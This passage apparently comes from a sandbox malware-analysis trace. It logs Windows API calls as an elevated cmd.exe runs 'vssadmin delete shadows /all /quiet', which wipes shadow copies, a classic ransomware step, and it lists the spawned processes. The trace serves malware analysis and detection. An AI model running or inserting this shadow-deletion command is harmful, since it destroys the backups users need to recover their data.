lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.345] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.345] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.345] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.345] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.345] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.345] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0040.345] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.345] GetFileType (hFile=0xe8) returned 0x3 [0040.345] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.345] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.345] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.345] GetFileType (hFile=0xf4) returned 0x3 [0040.345] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.345] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0040.345] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x25f818, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f818*=0x24, lpOverlapped=0x0) returned 1 [0040.346] GetProcessHeap () returned 0x2e0000 [0040.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4012) returned 0x2ff630 [0040.346] GetProcessHeap () returned 0x2e0000 [0040.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff630 | out: hHeap=0x2e0000) returned 1 [0040.346] GetProcessHeap () returned 0x2e0000 [0040.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xb0) returned 0x2f97e0 [0040.346] GetProcessHeap () returned 0x2e0000 [0040.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x22) returned 0x2f4610 [0040.347] GetProcessHeap () returned 0x2e0000 [0040.347] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x48) returned 0x2faa90 [0040.347] GetConsoleOutputCP () returned 0x4e3 [0040.347] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a9cbfe0 | out: lpCPInfo=0x4a9cbfe0) returned 1 [0040.347] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0040.348] GetConsoleTitleW (in: lpConsoleTitle=0x25f7d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0040.348] GetProcessHeap () returned 0x2e0000 [0040.348] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2f9910 [0040.348] GetProcessHeap () returned 0x2e0000 [0040.348] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x5a) returned 0x2f9b30 [0040.348] GetProcessHeap () returned 0x2e0000 [0040.348] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x420) returned 0x2f9090 [0040.348] SetErrorMode (uMode=0x0) returned 0x0 [0040.348] SetErrorMode (uMode=0x1) returned 0x0 [0040.348] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2f90a0, lpFilePart=0x25f060 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x25f060*="Desktop") returned 0x25 [0040.348] SetErrorMode (uMode=0x0) returned 0x1 [0040.348] GetProcessHeap () returned 0x2e0000 [0040.348] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9090, Size=0x6e) returned 0x2f9090 [0040.348] GetProcessHeap () returned 0x2e0000 [0040.348] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9090) returned 0x6e [0040.349] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0040.349] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0040.349] GetProcessHeap () returned 0x2e0000 [0040.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x128) returned 0x2f5b70 [0040.349] GetProcessHeap () returned 0x2e0000 [0040.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x240) returned 0x2e1ab0 [0040.349] GetProcessHeap () returned 0x2e0000 [0040.349] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2e1ab0, Size=0x12a) returned 0x2e1ab0 [0040.349] GetProcessHeap () returned 0x2e0000 [0040.349] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2e1ab0) returned 0x12a [0040.349] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0040.349] GetProcessHeap () returned 0x2e0000 [0040.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xe8) returned 0x2f9db0 [0040.349] GetProcessHeap () returned 0x2e0000 [0040.349] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9db0, Size=0x7e) returned 0x2f9db0 [0040.350] GetProcessHeap () returned 0x2e0000 [0040.350] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9db0) returned 0x7e [0040.350] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.350] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0xffffffffffffffff [0040.350] GetLastError () returned 0x2 [0040.350] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0xffffffffffffffff [0040.350] GetLastError () returned 0x2 [0040.350] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.350] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0x2f9ba0 [0040.351] FindClose (in: hFindFile=0x2f9ba0 | out: hFindFile=0x2f9ba0) returned 1 [0040.351] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0xffffffffffffffff [0040.351] GetLastError () returned 0x2 [0040.351] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0x2f9ba0 [0040.351] FindClose (in: hFindFile=0x2f9ba0 | out: hFindFile=0x2f9ba0) returned 1 [0040.351] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0040.351] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0040.351] GetConsoleTitleW (in: lpConsoleTitle=0x25f320, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0040.351] GetProcessHeap () returned 0x2e0000 [0040.351] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x21c) returned 0x2f9110 [0040.351] GetConsoleTitleW (in: lpConsoleTitle=0x2f9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0040.352] GetProcessHeap () returned 0x2e0000 [0040.352] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9110, Size=0xc0) returned 0x2f9110 [0040.352] GetProcessHeap () returned 0x2e0000 [0040.352] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9110) returned 0xc0 [0040.352] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0040.352] GetProcessHeap () returned 0x2e0000 [0040.352] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9110 | out: hHeap=0x2e0000) returned 1 [0040.353] InitializeProcThreadAttributeList (in: lpAttributeList=0x25f0d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x25f098 | out: lpAttributeList=0x25f0d8, lpSize=0x25f098) returned 1 [0040.353] UpdateProcThreadAttribute (in: lpAttributeList=0x25f0d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x25f088, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x25f0d8, lpPreviousValue=0x0) returned 1 [0040.353] GetStartupInfoW (in: lpStartupInfo=0x25f1f0 | out: lpStartupInfo=0x25f1f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0040.353] GetProcessHeap () returned 0x2e0000 [0040.353] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20) returned 0x2f4640 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.353] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0040.354] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0040.354] GetProcessHeap () returned 0x2e0000 [0040.354] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f4640 | out: hHeap=0x2e0000) returned 1 [0040.354] GetProcessHeap () returned 0x2e0000 [0040.354] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x2f8900 [0040.354] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x25f110*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x25f0c0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x25f0c0*(hProcess=0x50, hThread=0x54, dwProcessId=0x99c, dwThreadId=0x9a0)) returned 1 [0040.363] CloseHandle (hObject=0x54) returned 1 [0040.364] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0040.364] GetProcessHeap () returned 0x2e0000 [0040.364] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2feb10 | out: hHeap=0x2e0000) returned 1 [0040.364] GetEnvironmentStringsW () returned 0x2feb10* [0040.364] GetProcessHeap () returned 0x2e0000 [0040.364] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xb0e) returned 0x2ff630 [0040.364] FreeEnvironmentStringsW (penv=0x2feb10) returned 1 [0040.364] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x25e9c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x25e9c8, ReturnLength=0x0) returned 0x0 [0040.364] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x25ea00, nSize=0x380, lpNumberOfBytesRead=0x25e9c0 | out: lpBuffer=0x25ea00*, lpNumberOfBytesRead=0x25e9c0*=0x380) returned 1 [0040.364] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x50622000" os_pid = "0x968" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x938" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x96c Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4eb4a000" os_pid = "0x99c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x938" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x9a0 Thread: id = 21 os_tid = 0x9a4 Thread: id = 22 os_tid = 0x9a8 Thread: id = 23 os_tid = 0x9ac Thread: id = 24 os_tid = 0x9b0 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4b96e000" os_pid = "0x9b4" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x99c" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00050393" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 27 os_tid = 0xa64 Thread: id = 28 os_tid = 0xa60 Thread: id = 29 os_tid = 0xa5c Thread: id = 30 os_tid = 0xa58 [0051.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x105dae0 | out: lpSystemTimeAsFileTime=0x105dae0*(dwLowDateTime=0x792ac430, dwHighDateTime=0x1d5af86)) [0051.711] GetCurrentProcessId () returned 0x9b4 [0051.711] GetCurrentThreadId () returned 0xa58 [0051.711] GetTickCount () returned 0x1144bff [0051.711] QueryPerformanceCounter (in: lpPerformanceCount=0x105dae8 | out: lpPerformanceCount=0x105dae8*=17185461658) returned 1 [0051.711] malloc (_Size=0x100) returned 0x3d8e80 Thread: id = 31 os_tid = 0xa54 Thread: id = 32 os_tid = 0x9cc Thread: id = 33 os_tid = 0x9c8 Thread: id = 34 os_tid = 0x9b8 Thread: id = 35 os_tid = 0xa80 Thread: id = 42 os_tid = 0xae4 Thread: id = 43 os_tid = 0xbdc Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x44f73000" os_pid = "0xa68" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x9b4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00050fc1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 36 os_tid = 0xa84 Thread: id = 37 os_tid = 0xa7c Thread: id = 38 os_tid = 0xa78 Thread: id = 39 os_tid = 0xa74 Thread: id = 40 os_tid = 0xa70 Thread: id = 41 os_tid = 0xa6c Thread: id = 44 os_tid = 0xbe0